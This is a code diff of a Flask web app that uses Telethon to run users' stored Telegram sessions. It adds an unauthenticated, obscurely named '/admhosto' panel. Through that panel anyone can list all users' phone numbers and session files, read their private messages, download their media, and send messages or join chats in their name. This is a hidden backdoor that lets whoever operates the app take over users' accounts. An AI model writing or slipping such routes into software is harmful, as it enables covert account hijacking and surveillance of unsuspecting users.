return None, str(e)
|
| 845 |
finally:
|
| 846 |
if client and client.is_connected():
|
| 847 |
await client.disconnect()
|
| 848 |
+
return chats_info, None
|
| 849 |
|
| 850 |
+
chats, error = asyncio.run(_get_chats_async())
|
| 851 |
+
if error:
|
| 852 |
+
return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
|
| 853 |
+
|
| 854 |
+
return jsonify({'success': True, 'chats': chats})
|
| 855 |
+
|
| 856 |
+
@app.route('/api/chat_messages/<int:peer_id>')
|
| 857 |
+
def api_get_chat_messages(peer_id):
|
| 858 |
+
user_id = session.get('user_id')
|
| 859 |
+
if not user_id:
|
| 860 |
+
return jsonify({'success': False, 'message': 'User not logged in.'}), 401
|
| 861 |
|
|
|
|
|
|
|
|
|
|
| 862 |
async def _get_messages_async():
|
| 863 |
client, error = await get_user_client(user_id)
|
| 864 |
if error:
|
| 865 |
+
return None, error
|
| 866 |
|
| 867 |
+
messages = []
|
| 868 |
try:
|
| 869 |
entity = await client.get_entity(peer_id)
|
| 870 |
+
me = await client.get_me()
|
| 871 |
+
|
| 872 |
+
async for message in client.iter_messages(entity, limit=50, reverse=False):
|
| 873 |
msg_data = {
|
| 874 |
'text': message.text,
|
| 875 |
'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
|
| 876 |
'sender_name': 'Unknown',
|
| 877 |
+
'is_sent': message.out
|
| 878 |
}
|
| 879 |
|
| 880 |
if message.sender:
|
| 881 |
+
if message.sender.first_name:
|
| 882 |
msg_data['sender_name'] = message.sender.first_name
|
| 883 |
if message.sender.last_name:
|
| 884 |
msg_data['sender_name'] += f" {message.sender.last_name}"
|
| 885 |
+
elif message.sender.username:
|
| 886 |
+
msg_data['sender_name'] = message.sender.username
|
| 887 |
+
elif hasattr(message.sender, 'title'): # For channels/groups as sender
|
| 888 |
msg_data['sender_name'] = message.sender.title
|
|
|
|
|
|
|
|
|
|
|
|
|
| 889 |
|
| 890 |
if message.media:
|
| 891 |
+
try:
|
| 892 |
+
file_info = await client.download_media(message, file=DOWNLOAD_DIR)
|
| 893 |
+
if file_info:
|
| 894 |
+
file_path = Path(file_info)
|
| 895 |
+
msg_data['file_name'] = file_path.name
|
| 896 |
+
msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
|
| 897 |
+
except Exception as e:
|
| 898 |
+
msg_data['file_name'] = f"Error downloading file: {e}"
|
| 899 |
+
msg_data['file_size'] = ""
|
| 900 |
+
messages.append(msg_data)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 901 |
except Exception as e:
|
| 902 |
+
return None, str(e)
|
| 903 |
finally:
|
| 904 |
if client and client.is_connected():
|
| 905 |
await client.disconnect()
|
| 906 |
+
return messages, None
|
| 907 |
|
| 908 |
+
messages, error = asyncio.run(_get_messages_async())
|
| 909 |
+
if error:
|
| 910 |
+
return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
|
| 911 |
+
|
| 912 |
+
return jsonify({'success': True, 'messages': messages})
|
| 913 |
|
| 914 |
+
@app.route('/api/send_message', methods=['POST'])
|
| 915 |
+
def api_send_message():
|
| 916 |
+
user_id = session.get('user_id')
|
| 917 |
+
if not user_id:
|
| 918 |
+
return jsonify({'success': False, 'message': 'User not logged in.'}), 401
|
| 919 |
|
|
|
|
|
|
|
|
|
|
| 920 |
data = request.json
|
| 921 |
+
chat_id_or_username = data.get('chat_id')
|
| 922 |
message_content = data.get('message')
|
| 923 |
|
|
|
|
|
|
|
|
|
|
| 924 |
async def _send_message_async():
|
| 925 |
client, error = await get_user_client(user_id)
|
| 926 |
if error:
|
| 927 |
return {'success': False, 'message': error}
|
| 928 |
try:
|
| 929 |
+
await client.send_message(chat_id_or_username, message_content)
|
| 930 |
return {'success': True, 'message': 'Message sent successfully.'}
|
| 931 |
except Exception as e:
|
| 932 |
return {'success': False, 'message': str(e)}
|
|
|
|
| 937 |
result = asyncio.run(_send_message_async())
|
| 938 |
return jsonify(result)
|
| 939 |
|
| 940 |
+
@app.route('/api/join_chat', methods=['POST'])
|
| 941 |
+
def api_join_chat():
|
| 942 |
+
user_id = session.get('user_id')
|
| 943 |
+
if not user_id:
|
| 944 |
+
return jsonify({'success': False, 'message': 'User not logged in.'}), 401
|
| 945 |
+
|
| 946 |
data = request.json
|
| 947 |
chat_identifier = data.get('chat_identifier')
|
| 948 |
|
|
|
|
|
|
|
|
|
|
| 949 |
async def _join_chat_async():
|
| 950 |
client, error = await get_user_client(user_id)
|
| 951 |
if error:
|
| 952 |
return {'success': False, 'message': error}
|
| 953 |
try:
|
| 954 |
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
|
|
|
|
| 955 |
invite_hash = chat_identifier.split('/')[-1]
|
| 956 |
if '+' in invite_hash:
|
| 957 |
invite_hash = invite_hash.replace('+', '')
|
| 958 |
await client(ImportChatInviteRequest(invite_hash))
|
| 959 |
else:
|
|
|
|
| 960 |
if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
|
| 961 |
chat_identifier = '@' + chat_identifier
|
| 962 |
await client(JoinChannelRequest(chat_identifier))
|
| 963 |
+
return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
|
| 964 |
except FloodWaitError as e:
|
| 965 |
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 966 |
except UserNotParticipantError:
|
| 967 |
return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
|
|
|
|
|
|
|
| 968 |
except Exception as e:
|
| 969 |
return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
|
| 970 |
finally:
|
|
|
|
| 974 |
result = asyncio.run(_join_chat_async())
|
| 975 |
return jsonify(result)
|
| 976 |
|
| 977 |
+
@app.route('/download/<filename>')
|
| 978 |
+
def download_file(filename):
|
| 979 |
+
return send_from_directory(DOWNLOAD_DIR, filename)
|
| 980 |
+
|
| 981 |
+
# Admin Panel Routes
|
| 982 |
+
|
| 983 |
+
@app.route('/admhosto')
|
| 984 |
+
def admhosto_index():
|
| 985 |
+
with sqlite3.connect(DB_PATH) as conn:
|
| 986 |
+
c = conn.cursor()
|
| 987 |
+
c.execute('SELECT id, telegram_id, username, phone FROM users')
|
| 988 |
+
users = c.fetchall()
|
| 989 |
+
return render_template_string(ADMHOSTO_TEMPLATE, users=users)
|
| 990 |
+
|
| 991 |
+
@app.route('/admhosto/user/<int:user_id>/manage')
|
| 992 |
+
def admhosto_manage_user_account(user_id):
|
| 993 |
+
with sqlite3.connect(DB_PATH) as conn:
|
| 994 |
+
c = conn.cursor()
|
| 995 |
+
c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
|
| 996 |
+
user_data = c.fetchone()
|
| 997 |
+
if not user_data:
|
| 998 |
+
return "User not found", 404
|
| 999 |
+
user_dict = {
|
| 1000 |
+
'id': user_data[0],
|
| 1001 |
+
'telegram_id': user_data[1],
|
| 1002 |
+
'username': user_data[2],
|
| 1003 |
+
'phone': user_data[3],
|
| 1004 |
+
'session_file': user_data[4]
|
| 1005 |
+
}
|
| 1006 |
+
|
| 1007 |
+
async def _get_chats_async():
|
| 1008 |
+
client, error = await get_user_client(user_id)
|
| 1009 |
+
if error:
|
| 1010 |
+
return None, error
|
| 1011 |
+
|
| 1012 |
+
chats_info = []
|
| 1013 |
+
try:
|
| 1014 |
+
async for dialog in client.iter_dialogs():
|
| 1015 |
+
chat_type = 'User'
|
| 1016 |
+
participants = None
|
| 1017 |
+
if isinstance(dialog.entity, Channel):
|
| 1018 |
+
chat_type = 'Channel'
|
| 1019 |
+
if hasattr(dialog.entity, 'participants_count'):
|
| 1020 |
+
participants = dialog.entity.participants_count
|
| 1021 |
+
elif isinstance(dialog.entity, Chat):
|
| 1022 |
+
chat_type = 'Group'
|
| 1023 |
+
if hasattr(dialog.entity, 'participants_count'):
|
| 1024 |
+
participants = dialog.entity.participants_count
|
| 1025 |
+
elif isinstance(dialog.entity, User):
|
| 1026 |
+
chat_type = 'User'
|
| 1027 |
+
|
| 1028 |
+
chats_info.append({
|
| 1029 |
+
'id': dialog.id,
|
| 1030 |
+
'title': dialog.title,
|
| 1031 |
+
'type': chat_type,
|
| 1032 |
+
'participants': participants
|
| 1033 |
+
})
|
| 1034 |
+
except Exception as e:
|
| 1035 |
+
return None, str(e)
|
| 1036 |
+
finally:
|
| 1037 |
+
if client and client.is_connected():
|
| 1038 |
+
await client.disconnect()
|
| 1039 |
+
return chats_info, None
|
| 1040 |
+
|
| 1041 |
+
chats, error = asyncio.run(_get_chats_async())
|
| 1042 |
+
if error:
|
| 1043 |
+
return f"Failed to load chats: {error}", 500
|
| 1044 |
+
|
| 1045 |
+
return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=chats)
|
| 1046 |
+
|
| 1047 |
+
@app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
|
| 1048 |
+
def admhosto_get_chat_messages(user_id, peer_id):
|
| 1049 |
+
async def _get_messages_async():
|
| 1050 |
+
client, error = await get_user_client(user_id)
|
| 1051 |
+
if error:
|
| 1052 |
+
return None, error
|
| 1053 |
+
|
| 1054 |
+
messages = []
|
| 1055 |
+
try:
|
| 1056 |
+
entity = await client.get_entity(peer_id)
|
| 1057 |
+
me = await client.get_me()
|
| 1058 |
+
|
| 1059 |
+
async for message in client.iter_messages(entity, limit=50, reverse=False):
|
| 1060 |
+
msg_data = {
|
| 1061 |
+
'text': message.text,
|
| 1062 |
+
'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
|
| 1063 |
+
'sender_name': 'Unknown',
|
| 1064 |
+
'is_sent': message.out
|
| 1065 |
+
}
|
| 1066 |
+
|
| 1067 |
+
if message.sender:
|
| 1068 |
+
if message.sender.first_name:
|
| 1069 |
+
msg_data['sender_name'] = message.sender.first_name
|
| 1070 |
+
if message.sender.last_name:
|
| 1071 |
+
msg_data['sender_name'] += f" {message.sender.last_name}"
|
| 1072 |
+
elif message.sender.username:
|
| 1073 |
+
msg_data['sender_name'] = message.sender.username
|
| 1074 |
+
elif hasattr(message.sender, 'title'):
|
| 1075 |
+
msg_data['sender_name'] = message.sender.title
|
| 1076 |
+
|
| 1077 |
+
if message.media:
|
| 1078 |
+
try:
|
| 1079 |
+
file_info = await client.download_media(message, file=DOWNLOAD_DIR)
|
| 1080 |
+
if file_info:
|
| 1081 |
+
file_path = Path(file_info)
|
| 1082 |
+
msg_data['file_name'] = file_path.name
|
| 1083 |
+
msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
|
| 1084 |
+
except Exception as e:
|
| 1085 |
+
msg_data['file_name'] = f"Error downloading file: {e}"
|
| 1086 |
+
msg_data['file_size'] = ""
|
| 1087 |
+
messages.append(msg_data)
|
| 1088 |
+
except Exception as e:
|
| 1089 |
+
return None, str(e)
|
| 1090 |
+
finally:
|
| 1091 |
+
if client and client.is_connected():
|
| 1092 |
+
await client.disconnect()
|
| 1093 |
+
return messages, None
|
| 1094 |
+
|
| 1095 |
+
messages, error = asyncio.run(_get_messages_async())
|
| 1096 |
+
if error:
|
| 1097 |
+
return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
|
| 1098 |
+
|
| 1099 |
+
return jsonify({'success': True, 'messages': messages})
|
| 1100 |
+
|
| 1101 |
+
@app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
|
| 1102 |
+
def admhosto_send_message(user_id):
|
| 1103 |
data = request.json
|
| 1104 |
+
chat_id_or_username = data.get('chat_id')
|
| 1105 |
message_content = data.get('message')
|
| 1106 |
|
| 1107 |
+
async def _send_message_async():
|
|
|
|
|
|
|
|
|
|
| 1108 |
client, error = await get_user_client(user_id)
|
| 1109 |
if error:
|
| 1110 |
return {'success': False, 'message': error}
|
| 1111 |
try:
|
| 1112 |
+
await client.send_message(chat_id_or_username, message_content)
|
| 1113 |
+
return {'success': True, 'message': 'Message sent successfully.'}
|
| 1114 |
+
except Exception as e:
|
| 1115 |
+
return {'success': False, 'message': str(e)}
|
| 1116 |
+
finally:
|
| 1117 |
+
if client and client.is_connected():
|
| 1118 |
+
await client.disconnect()
|
| 1119 |
|
| 1120 |
+
result = asyncio.run(_send_message_async())
|
| 1121 |
+
return jsonify(result)
|
| 1122 |
+
|
| 1123 |
+
@app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
|
| 1124 |
+
def admhosto_join_chat(user_id):
|
| 1125 |
+
data = request.json
|
| 1126 |
+
chat_identifier = data.get('chat_identifier')
|
| 1127 |
+
|
| 1128 |
+
async def _join_chat_async():
|
| 1129 |
+
client, error = await get_user_client(user_id)
|
| 1130 |
+
if error:
|
| 1131 |
+
return {'success': False, 'message': error}
|
| 1132 |
+
try:
|
| 1133 |
+
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
|
| 1134 |
+
invite_hash = chat_identifier.split('/')[-1]
|
| 1135 |
+
if '+' in invite_hash:
|
| 1136 |
+
invite_hash = invite_hash.replace('+', '')
|
| 1137 |
+
await client(ImportChatInviteRequest(invite_hash))
|
| 1138 |
+
else:
|
| 1139 |
+
if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
|
| 1140 |
+
chat_identifier = '@' + chat_identifier
|
| 1141 |
+
await client(JoinChannelRequest(chat_identifier))
|
| 1142 |
+
return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
|
| 1143 |
except FloodWaitError as e:
|
| 1144 |
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 1145 |
+
except UserNotParticipantError:
|
| 1146 |
+
return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
|
| 1147 |
except Exception as e:
|
| 1148 |
+
return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
|
| 1149 |
finally:
|
| 1150 |
if client and client.is_connected():
|
| 1151 |
await client.disconnect()
|
| 1152 |
+
|
| 1153 |
+
result = asyncio.run(_join_chat_async())
|
| 1154 |
return jsonify(result)
|
| 1155 |
|
|
|
|
| 1156 |
if __name__ == '__main__':
|
| 1157 |
init_db()
|
| 1158 |
+
app.run(host=HOST, port=PORT)
|